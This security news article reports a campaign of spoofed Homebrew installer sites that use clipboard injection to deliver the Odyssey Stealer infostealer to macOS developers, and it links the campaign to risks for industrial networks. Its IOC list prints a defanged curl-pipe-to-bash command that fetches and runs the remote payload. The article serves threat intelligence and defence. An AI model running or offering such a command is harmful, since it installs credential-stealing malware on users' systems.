In September 2025, Kandji’s security researchers uncovered a sophisticated credential theft campaign targeting macOS developers through spoofed Homebrew installer sites.
The tactics used paralleled recent pro-Russian hacktivist methods employed against operational technology (OT) and industrial control system (ICS) environments.
The operation exploited trust in package managers to deliver malicious payloads capable of credential harvesting and system compromise, presenting severe risks to both enterprise development networks and industrial assets.
Malicious Infrastructure and Delivery Method
The attackers created pixel-perfect replicas of the official brew.sh installation page, hosted on domains such as homebrewonline[.]org, all linked to IP infrastructure at 38[.]146[.]27[.]144.
Unlike the legitimate site, these clones forced users to initiate installation via a single “Copy” button rather than manual command selection.
Hidden JavaScript embedded in the page injected an additional, base64-encoded cURL command into the clipboard, fetching a remote payload while installing what appeared to be Homebrew.
The recovered script included Russian-language comments instructing operators where to insert malicious commands and suggesting data exfiltration destinations such as Telegram.
This mirrors known pro-Russian hacktivist tradecraft: modular web-based loaders configured for specific operations, often rented or shared across dark web forums.
In OT/ICS-targeted incidents, similar clipboard injection attacks have been used to plant credential-stealing scripts within control station environments, enabling access to ICS HMIs, engineering workstations, and VPN portals.
Once executed, the injected commands downloaded Odyssey Stealer, a commodity macOS infostealer capable of extracting browser autofill data, SSH keys, saved VPN credentials, and Git repository tokens.
These assets are valuable for pivoting into CI/CD pipelines or industrial supervisory systems when deployed against hybrid IT/OT networks.
Industrial Impact and Credential Exploitation
While Homebrew is primarily a developer toolchain package manager, its prevalence on macOS endpoints within engineering teams makes it an attractive attack vector.
In past pro-Russian campaigns against ICS environments, attackers have leveraged stolen GitHub tokens and SSH keys from compromised developer machines to access code repositories containing OT configuration files, SCADA integration scripts, and proprietary PLC logic.
With these credentials, threat actors can insert malicious routines into automation code or weaponize firmware updates for field controllers, methods aligned with supply chain compromise techniques seen in ICS-focused espionage.
Furthermore, VPN login theft enables direct access to process control networks, bypassing perimeter firewalls and jump hosts.
The extended dwell time weeks in some cases, before takedown of malicious domains, magnifies the operational risk. Any compromised developer system linked to OT workflow tools effectively becomes an unmonitored bridge into sensitive industrial processes.
Kandji Threat Intelligence continues monitoring emerging spoofed Homebrew infrastructure and related payload delivery networks.
Enterprises operating mixed IT/OT environments should enforce strict installation source verification, monitor for anomalous clipboard activity, and deploy endpoint detection tailored for macOS stealer behavior to mitigate the risk of credential theft before it escalates into ICS compromise.
IOCs
Domains
homebrewfaq[.]org (active)
homebrewclubs[.]org
homebrewonline[.]org
homebrewupdate[.]org
Homebrewlub[.]com (active)
Command
curl -s http://185[.]93[.]89[.]62/d/vipx69930 | nohup bash &
Domain Repo
https://github.com/stamparm/maltrail/blob/master/trails/static/malware/osx_ato
Find this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates
